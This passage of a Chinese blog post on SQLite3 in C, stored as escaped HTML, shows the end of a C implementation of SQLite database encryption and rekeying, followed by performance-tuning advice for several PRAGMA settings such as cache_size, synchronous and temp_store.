class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock \u0026amp;\u0026amp; !hKey) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e SQLITE_OK;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//重新加密一个数据库,改变pager的写密钥, 读密钥依旧保留.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock) \u003cspan class=\"comment\"\u003e//加密一个未加密的数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock = CreateCryptBlock(hKey, p, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;ReadKey = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 原始数据库未加密\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqlite3pager_set_codec(sqlite3BtreePager(pbt), sqlite3Codec, pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 改变已加密数据库的写密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;WriteKey = hKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 开始一个事务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003erc = sqlite3BtreeBeginTrans(pbt, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"comment\"\u003e// 用新密钥重写所有的页到数据库。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     Pgno nPage = sqlite3PagerPagecount(p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     Pgno nSkip = PAGER_MJ_PGNO(p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pPage;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     Pgno n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(n = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; rc == SQLITE_OK \u0026amp;\u0026amp; n \u0026lt;= nPage; n ++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n == nSkip) \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          rc = sqlite3PagerGet(p, n, \u0026amp;pPage);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e               rc = sqlite3PagerWrite(pPage);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e               sqlite3PagerUnref(pPage);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 如果成功,提交事务。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     rc = sqlite3BtreeCommit(pbt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 如果失败,回滚。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqlite3BtreeRollback(pbt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 如果成功,销毁先前的读密钥。并使读密钥等于当前的写密钥。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pBlock-\u0026gt;ReadKey)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          sqliteFree(pBlock-\u0026gt;ReadKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;ReadKey = pBlock-\u0026gt;WriteKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"comment\"\u003e// 如果失败,销毁当前的写密钥,并恢复为当前的读密钥。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pBlock-\u0026gt;WriteKey)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          sqliteFree(pBlock-\u0026gt;WriteKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;WriteKey = pBlock-\u0026gt;ReadKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 如果读密钥和写密钥皆为空,就不需要再对页进行编解码。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 销毁加密块并移除页的编解码器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;ReadKey \u0026amp;\u0026amp; !pBlock-\u0026gt;WriteKey)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqlite3pager_set_codec(p, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     DestroyCryptBlock(pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e rc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e下面是加密函数的主体\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e __stdcall \u003cspan class=\"title function_\"\u003esqlite3_key_interop\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeySize)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sqlite3CodecAttach(db, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, pKey, nKeySize);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 释放与一个页相关的加密块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3pager_free_codecarg\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pArg)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pArg)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     DestroyCryptBlock((LPCryptBlock)pArg);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"comment\"\u003e//#ifdef SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"五、性能优化\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%BA%94%E3%80%81%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96\" class=\"headerlink\" title=\"五、性能优化\"\u003e\u003c/a\u003e五、性能优化\u003c/h2\u003e\u003cp\u003e很多人直接就使用了,并未注意到SQLite也有配置参数,可以对性能进行调整。有时候,产生的结果会有很大影响。\u003c/p\u003e\u003cp\u003e主要通过pragma指令来实现。\u003c/p\u003e\u003cp\u003e比如: 空间释放、磁盘同步、Cache大小等。\u003c/p\u003e\u003cp\u003e不要打开。前文提高了,Vacuum的效率非常低!\u003c/p\u003e\u003cp\u003e1 auto_vacuum\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA auto_vacuum;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA auto_vacuum = \u003cspan class=\"number\"\u003e0\u003c/span\u003e | \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或设置数据库的auto-vacuum标记。\u003c/p\u003e\u003cp\u003e正常情况下,当提交一个从数据库中删除数据的事务时,数据库文件不改变大小。未使用的文件页被标记并在以后的添加操作中再次使用。这种情况下使用VACUUM命令释放删除得到的空间。\u003c/p\u003e\u003cp\u003e当开启auto-vacuum,当提交一个从数据库中删除数据的事务时,数据库文件自动收缩, (VACUUM命令在auto-vacuum开启的数据库中不起作用)。数据库会在内部存储一些信息以便支持这一功能,这使得数据库文件比不开启该选项时稍微大一些。\u003c/p\u003e\u003cp\u003e只有在数据库中未建任何表时才能改变auto-vacuum标记。试图在已有表的情况下修改不会导致报错。\u003c/p\u003e\u003cp\u003e2 cache_size\u003c/p\u003e\u003cp\u003e建议改为8000\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA cache_size;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA cache_size = Number-of-pages;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或修改SQLite一次存储在内存中的数据库文件页数。每页使用约1.5K内存,缺省的缓存大小是2000. 若需要使用改变大量多行的UPDATE或DELETE命令,并且不介意SQLite使用更多的内存的话,可以增大缓存以提高性能。\u003c/p\u003e\u003cp\u003e当使用cache_size pragma改变缓存大小时,改变仅对当前对话有效,当数据库关闭重新打开时缓存大小恢复到缺省大小。 要想永久改变缓存大小,使用\u003ca href=\"http://www.jimmydong.com/blog/\"\u003edefault_cache_size\u003c/a\u003e pragma.\u003c/p\u003e\u003cp\u003e3 case_sensitive_like\u003c/p\u003e\u003cp\u003e打开。不然搜索中文字串会出错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA case_sensitive_like;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA case_sensitive_like = \u003cspan class=\"number\"\u003e0\u003c/span\u003e | \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eLIKE运算符的缺省行为是忽略latin1字符的大小写。因此在缺省情况下’a’ LIKE ‘A’的值为真。可以通过打开case_sensitive_like pragma来改变这一缺省行为。当启用case_sensitive_like,’a’ LIKE ‘A’为假而 ‘a’ LIKE ‘a’依然为真。\u003c/p\u003e\u003cp\u003e4 count_changes\u003c/p\u003e\u003cp\u003e打开。便于调试\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA count_changes;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA count_changes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e | \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或更改count-changes标记。正常情况下INSERT, UPDATE和DELETE语句不返回数据。 当开启count-changes,以上语句返回一行含一个整数值的数据——该语句插入,修改或删除的行数。 返回的行数不包括由触发器产生的插入,修改或删除等改变的行数。\u003c/p\u003e\u003cp\u003e5 page_size\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA page_size;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA page_size = bytes;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或设置page-size值。只有在未创建数据库时才能设置page-size。页面大小必须是2的整数倍且大于等于512小于等于8192。 上限可以通过在编译时修改宏定义SQLITE_MAX_PAGE_SIZE的值来改变。上限的上限是32768.\u003c/p\u003e\u003cp\u003e6 synchronous\u003c/p\u003e\u003cp\u003e如果有定期备份的机制,而且少量数据丢失可接受,用OFF\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA synchronous;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA synchronous = FULL; (\u003cspan class=\"number\"\u003e2\u003c/span\u003e)  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA synchronous = NORMAL; (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA synchronous = OFF; (\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或更改”synchronous”标记的设定。第一种形式(查询)返回整数值。 当synchronous设置为FULL (2), SQLite数据库引擎在紧急时刻会暂停以确定数据已经写入磁盘。 这使系统崩溃或电源出问题时能确保数据库在重起后不会损坏。FULL synchronous很安全但很慢。 当synchronous设置为NORMAL, SQLite数据库引擎在大部分紧急时刻会暂停,但不像FULL模式下那么频繁。 NORMAL模式下有很小的几率(但不是不存在)发生电源故障导致数据库损坏的情况。但实际上,在这种情况下很可能你的硬盘已经不能使用,或者发生了其他的不可恢复的硬件错误。 设置为synchronous OFF (0)时,SQLite在传递数据给系统以后直接继续而不暂停。若运行SQLite的应用程序崩溃, 数据不会损伤,但在系统崩溃或写入数据时意外断电的情况下数据库可能会损坏。另一方面,在synchronous OFF时 一些操作可能会快50倍甚至更多。\u003c/p\u003e\u003cp\u003e在SQLite 2中,缺省值为NORMAL.而在3中修改为FULL.\u003c/p\u003e\u003cp\u003e7 temp_store\u003c/p\u003e\u003cp\u003e使用2,内存模式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA temp_store;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA temp_store = DEFAULT; (\u003cspan class=\"number\"\u003e0\u003c/span\u003e)  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA temp_store = FILE; (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA temp_store = MEMORY; (\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或更改”temp_store”参数的设置。当temp_store设置为DEFAULT (0),使用编译时的C预处理宏 TEMP_STORE来定义储存临时表和临时索引的位置。当设置为MEMORY (2)临时表和索引存放于内存中。 当设置为FILE (1)则存放于文件中。temp_store_directorypragma 可用于指定存放该文件的目录。当改变temp_store设置,所有已存在的临时表,索引,触发器及视图将被立即删除。\u003c/p\u003e\u003cp\u003e经测试,在类BBS应用上,通过以上调整,效率可以提高2倍以上。\u003c/p\u003e\u003ch2 id=\"六、后记\"\u003e\u003ca 